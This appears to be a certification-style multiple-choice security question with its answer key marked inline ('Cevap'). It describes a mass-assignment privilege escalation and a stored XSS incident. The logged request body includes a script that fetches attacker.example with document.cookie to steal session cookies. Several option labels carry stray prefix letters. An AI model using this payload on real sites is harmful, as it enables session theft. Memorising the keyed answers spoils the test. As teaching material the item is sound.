A software security analyst is reviewing a web application's API logs and controller implementation following a reported security incident. The backend service processes JSON payloads for user profile updates. An audit log captured the following HTTP POST request body submitted by an authenticated non-administrative user:
{
"account_id": "8492",
"email": "[email protected]",
"role": "administrator",
"bio": "<script>fetch('http://attacker.example/collect?c='+document.cookie)</script>"
}
Upon processing this request, the backend database successfully updated the user's account role to 'administrator' and subsequently rendered the script payload when other users viewed the updated profile page.
Which of the following software vulnerabilities were successfully exploited in this incident? (Select TWO.)
- Mass assignment, which allowed client-supplied JSON properties to automatically bind to internal data model fields without proper field-level filtering.Cevap
- BSQL injection (SQLi), which allowed malicious SQL statements to alter database query logic and modify table structures.
- Stored cross-site scripting (XSS), which allowed an injected script to be persisted in the database and executed in victim web browsers.Cevap
- DBroken authentication, which enabled the user to forge identity credentials and bypass the login portal.